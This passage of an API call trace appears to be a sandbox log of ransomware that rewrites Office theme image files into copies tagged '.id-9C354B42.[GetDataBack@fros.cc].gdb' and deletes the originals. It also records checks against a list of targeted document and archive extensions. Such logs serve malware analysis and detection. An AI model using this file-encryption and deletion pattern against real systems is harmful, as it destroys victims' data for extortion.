dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0125.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0125.384] GetLastError () returned 0x0 [0125.384] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x9ac, lpOverlapped=0x0) returned 1 [0125.385] WriteFile (in: hFile=0x204, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x9b0, lpOverlapped=0x0) returned 1 [0125.386] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0125.387] WriteFile (in: hFile=0x204, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xea, lpOverlapped=0x0) returned 1 [0125.387] SetEndOfFile (hFile=0x204) returned 1 [0125.387] CloseHandle (hObject=0x204) returned 1 [0125.387] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0125.387] SetEndOfFile (hFile=0x1ec) returned 1 [0125.388] CloseHandle (hObject=0x1ec) returned 1 [0125.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.388] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1 [0125.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0125.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0125.388] lstrlenW (lpString=".doc") returned 4 [0125.388] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.388] lstrlenW (lpString=".docx") returned 5 [0125.388] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.388] lstrlenW (lpString=".pdf") returned 4 [0125.388] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.388] lstrlenW (lpString=".xls") returned 4 [0125.388] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.388] lstrlenW (lpString=".xlsx") returned 5 [0125.388] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.388] lstrlenW (lpString=".ppt") returned 4 [0125.388] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0125.389] lstrlenW (lpString=".zip") returned 4 [0125.389] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.389] lstrlenW (lpString=".rar") returned 4 [0125.389] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.389] lstrlenW (lpString=".bz2") returned 4 [0125.389] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.389] lstrlenW (lpString=".7z") returned 3 [0125.389] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0125.389] lstrlenW (lpString=".dbf") returned 4 [0125.389] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0125.389] lstrlenW (lpString=".1cd") returned 4 [0125.389] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0125.389] lstrlenW (lpString=".jpg") returned 4 [0125.389] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0125.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0125.389] lstrlenW (lpString=".doc") returned 4 [0125.389] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.389] lstrlenW (lpString=".docx") returned 5 [0125.389] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.389] lstrlenW (lpString=".pdf") returned 4 [0125.389] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.389] lstrlenW (lpString=".xls") returned 4 [0125.389] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.389] lstrlenW (lpString=".xlsx") returned 5 [0125.389] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.389] lstrlenW (lpString=".ppt") returned 4 [0125.389] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0125.389] lstrlenW (lpString=".zip") returned 4 [0125.389] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.389] lstrlenW (lpString=".rar") returned 4 [0125.389] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.389] lstrlenW (lpString=".bz2") returned 4 [0125.389] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.389] lstrlenW (lpString=".7z") returned 3 [0125.389] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0125.390] lstrlenW (lpString=".dbf") returned 4 [0125.390] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0125.390] lstrlenW (lpString=".1cd") returned 4 [0125.390] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0125.390] lstrlenW (lpString=".jpg") returned 4 [0125.390] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.390] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0125.390] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0125.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0125.390] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=19485) returned 1 [0125.390] CloseHandle (hObject=0x1ec) returned 1 [0125.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0125.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0125.391] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0125.391] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0125.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0125.391] GetLastError () returned 0x0 [0125.391] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x4c1d, lpOverlapped=0x0) returned 1 [0125.393] WriteFile (in: hFile=0x204, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x4c20, lpOverlapped=0x0) returned 1 [0125.394] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0125.394] WriteFile (in: hFile=0x204, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0125.394] SetEndOfFile (hFile=0x204) returned 1 [0125.394] CloseHandle (hObject=0x204) returned 1 [0125.395] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0125.395] SetEndOfFile (hFile=0x1ec) returned 1 [0125.396] CloseHandle (hObject=0x1ec) returned 1 [0125.396] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.396] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1 [0125.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0125.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0125.396] lstrlenW (lpString=".doc") returned 4 [0125.396] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.396] lstrlenW (lpString=".docx") returned 5 [0125.396] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.396] lstrlenW (lpString=".pdf") returned 4 [0125.397] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.397] lstrlenW (lpString=".xls") returned 4 [0125.397] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.397] lstrlenW (lpString=".xlsx") returned 5 [0125.397] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.397] lstrlenW (lpString=".ppt") returned 4 [0125.397] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0125.397] lstrlenW (lpString=".zip") returned 4 [0125.397] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.397] lstrlenW (lpString=".rar") returned 4 [0125.397] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.397] lstrlenW (lpString=".bz2") returned 4 [0125.397] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.397] lstrlenW (lpString=".7z") returned 3 [0125.397] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0125.397] lstrlenW (lpString=".dbf") returned 4 [0125.397] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0125.397] lstrlenW (lpString=".1cd") returned 4 [0125.397] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0125.397] lstrlenW (lpString=".jpg") returned 4 [0125.397] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0125.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0125.397] lstrlenW (lpString=".doc") returned 4 [0125.397] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0125.397] lstrlenW (lpString=".docx") returned 5 [0125.397] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0125.397] lstrlenW (lpString=".pdf") returned 4 [0125.398] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0125.398] lstrlenW (lpString=".xls") returned 4 [0125.398] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0125.398] lstrlenW (lpString=".xlsx") returned 5 [0125.398] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0125.398] lstrlenW (lpString=".ppt") returned 4 [0125.398] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0125.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0125.398] lstrlenW (lpString=".zip") returned 4 [0125.398] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0125.398] lstrlenW (lpString=".rar") returned 4 [0125.398] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0125.398] lstrlenW (lpString=".bz2") returned 4 [0125.398] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0125.398] lstrlenW (lpString=".7z") returned 3 [0125.398] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0125.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0125.398] lstrlenW (lpString=".dbf") returned 4 [0125.398] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0125.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0125.398] lstrlenW (lpString=".1cd") returned 4 [0125.398] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0125.398] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0125.398] lstrlenW (lpString=".jpg") returned 4 [0125.398] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0125.398] lstrcmpiW (lpString1=".GIF", lpString2=".gdb") returned 1 [0125.398] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0125.399] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0125.399] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=1232) returned 1 [0125.399] CloseHandle (hObject=0x1ec) returned 1 [0125.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0125.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0125.400] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0125.400] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0125.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0125.401] GetLastError () returned 0x0 [0125.401] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x4d0, lpOverlapped=0x0) returned 1 [0125.410] WriteFile (in: hFile=0x204, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x4e0, lpOverlapped=0x0) returned 1 [0125.411] ReadFile (in: hFile=0x1ec, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0125.411] WriteFile (in: hFile=0x204, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xea, lpOverlapped=0x0) returned 1 [0125.411] SetEndOfFile (hFile=0x204) returned 1 [0125.411] CloseHandle (hObject=0x204) returned 1 [0125.411] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0125.411] SetEndOfFile (hFile=0x1ec) returned 1 [0125.412] CloseHandle (hObject=0x1ec) returned 1 [0125.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0125.412] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 1 [0125.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0125.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0125.413] lstrlenW (lpString=".doc") returned 4 [0125.413] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.413] lstrlenW (lpString=".docx") returned 5 [0125.413] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.413] lstrlenW (lpString=".pdf") returned 4 [0125.413] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.413] lstrlenW (lpString=".xls") returned 4 [0125.413] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.413] lstrlenW (lpString=".xlsx") returned 5 [0125.413] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.413] lstrlenW (lpString=".ppt") returned 4 [0125.413] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0125.413] lstrlenW (lpString=".zip") returned 4 [0125.413] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.413] lstrlenW (lpString=".rar") returned 4 [0125.413] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.413] lstrlenW (lpString=".bz2") returned 4 [0125.413] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.413] lstrlenW (lpString=".7z") returned 3 [0125.413] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0125.413] lstrlenW (lpString=".dbf") returned 4 [0125.413] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0125.414] lstrlenW (lpString=".1cd") returned 4 [0125.414] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0125.414] lstrlenW (lpString=".jpg") returned 4 [0125.414] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0125.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0125.414] lstrlenW (lpString=".doc") returned 4 [0125.414] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0125.414] lstrlenW (lpString=".docx") returned 5 [0125.414] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0125.414] lstrlenW (lpString=".pdf") returned 4 [0125.414] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0125.414] lstrlenW (lpString=".xls") returned 4 [0125.414] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0125.414] lstrlenW (lpString=".xlsx") returned 5 [0125.414] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0125.414] lstrlenW (lpString=".ppt") returned 4 [0125.414] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0125.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0125.414] lstrlenW (lpString=".zip") returned 4 [0125.414] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0125.414] lstrlenW (lpString=".rar") returned 4 [0125.414] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0125.415] lstrlenW (lpString=".bz2") returned 4 [0125.415] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0125.415] lstrlenW (lpString=".7z") returned 3 [0125.415] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0125.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0125.415] lstrlenW (lpString=".dbf") returned 4 [0125.415] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0125.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0125.415] lstrlenW (lpString=".1cd") returned 4 [0125.415] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0125.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0125.415] lstrlenW (lpString=".jpg") returned 4 [0125.415] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0125.415] lstrcmpiW (lpString1=".PNG", lpString2=".gdb") returned 1 [0125.415] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0125.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0125.416] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=18413) returned 1 [0125.416] CloseHandle (hObject=0x1ec) returned 1 [0125.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0125.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0125.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0125.416] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0125.416] SetFilePointerEx (in: hFile=0x1ec, 